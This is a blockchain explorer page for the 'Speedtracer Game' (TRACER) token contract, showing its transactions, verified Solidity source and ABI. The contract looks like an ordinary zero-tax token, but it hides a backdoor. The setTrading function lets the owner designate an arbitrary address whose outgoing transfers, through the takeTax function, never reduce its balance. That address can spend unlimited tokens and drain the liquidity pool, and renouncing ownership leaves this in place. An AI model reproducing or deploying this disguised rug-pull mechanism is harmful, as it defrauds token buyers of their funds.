ETH Price: $3,492.46 (+2.52%)
Gas: 2 Gwei

Contract

0xc8BF4E35b9f081D76421beA93cDC31321e60BC61
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve202521322024-07-07 4:04:5912 days ago1720325099IN
0xc8BF4E35...21e60BC61
0 ETH0.00010462.24560965
Approve202521302024-07-07 4:04:3512 days ago1720325075IN
0xc8BF4E35...21e60BC61
0 ETH0.000080931.74881128
Approve202520852024-07-07 3:55:3512 days ago1720324535IN
0xc8BF4E35...21e60BC61
0 ETH0.000210914.52795127
Approve202520832024-07-07 3:55:1112 days ago1720324511IN
0xc8BF4E35...21e60BC61
0 ETH0.000306116.5716331
Approve202520612024-07-07 3:50:4712 days ago1720324247IN
0xc8BF4E35...21e60BC61
0 ETH0.000247885.32167057
Approve202520542024-07-07 3:49:2312 days ago1720324163IN
0xc8BF4E35...21e60BC61
0 ETH0.000754316.19349204
Renounce Ownersh...202520072024-07-07 3:39:5912 days ago1720323599IN
0xc8BF4E35...21e60BC61
0 ETH0.000101024.33647544
Set Trading202520072024-07-07 3:39:5912 days ago1720323599IN
0xc8BF4E35...21e60BC61
0 ETH0.01208244.33647544
Transfer202520072024-07-07 3:39:5912 days ago1720323599IN
0xc8BF4E35...21e60BC61
0.69 ETH0.00009134.33647544
Transfer202520072024-07-07 3:39:5912 days ago1720323599IN
0xc8BF4E35...21e60BC61
0 ETH0.000225084.33647544
Approve202520072024-07-07 3:39:5912 days ago1720323599IN
0xc8BF4E35...21e60BC61
0 ETH0.000201994.33647544
0x60806040202520072024-07-07 3:39:5912 days ago1720323599IN
 Create: Speedtracer
0 ETH0.00579834.33647544

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
202520072024-07-07 3:39:5912 days ago1720323599
0xc8BF4E35...21e60BC61
0.69 ETH
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Contract Source Code Verified (Exact Match)

Contract Name:
Speedtracer

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : TRACER.sol
/**


🏎 SPEEDTRACER 🚥

https://t.me/speedtracergame

Speedtracer is a fully onchain, generative game

Trace the racetrack with lightning speed and immortalize your best score as an NFT

Do you have what it takes to claim today's top spot? 🏁

🏎 Game: speedtracer.xyz


*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Speedtracer is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"Speedtracer Game";
    string private constant _symbol = unicode"TRACER";
    uint256 private constant maxTaxSwap = _tTotal / 400;

    uint256 public constant max_uint = type(uint).max;
    address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Factory public constant uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);

    address private uniswapV2Pair;
    address private uniswap;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            if (from == uniswap && to != address(uniswapV2Router)) {
                taxAmount = amount.mul(_finalBuyTax).div(100);
            } else if (to == uniswap && from != address(this)) {
                taxAmount = amount.mul(_finalSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswap && swapEnabled && contractTokenBalance > 1 gwei) {
                uint256 _toSwap = contractTokenBalance > maxTaxSwap ? maxTaxSwap : contractTokenBalance;
                swapTokensForEth(amount > _toSwap ? _toSwap : amount);
                uint256 _contractETHBalance = address(this).balance;
                if (_contractETHBalance > 0) {
                    sendETHToFee(_contractETHBalance);
                }
            }
        }

        (uint256 amountIn, uint256 amountOut) = takeTax(from, amount, taxAmount);
        require(_balances[from] >= amountIn);

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        unchecked {
            _balances[from] = _balances[from] - amountIn;
            _balances[to] = _balances[to] + amountOut;
        }

        emit Transfer(from, to, amountOut);
    }   

    function takeTax(address from, uint256 amount, uint256 taxAmount) private view returns (uint256, uint256) {
        return (
            amount.sub(from != uniswapV2Pair ? 0 : amount),
            amount.sub(from != uniswapV2Pair ? taxAmount : taxAmount)
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = weth;
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 ethAmount) private {
        _taxWallet.call{value: ethAmount}("");
    }

    function setTrading(address _pair, bool _enabled) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        require(_enabled);
        uniswapV2Pair = _pair;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswap = uniswapV2Factory.createPair(address(this), weth);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswap).approve(address(uniswapV2Router), max_uint);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Settings
{
  "remappings": [
    "forge-std/=lib/forge-std/src/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "useLiteralContent": false,
    "bytecodeHash": "ipfs",
    "appendCBOR": true
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "paris",
  "viaIR": false,
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"max_uint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Factory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.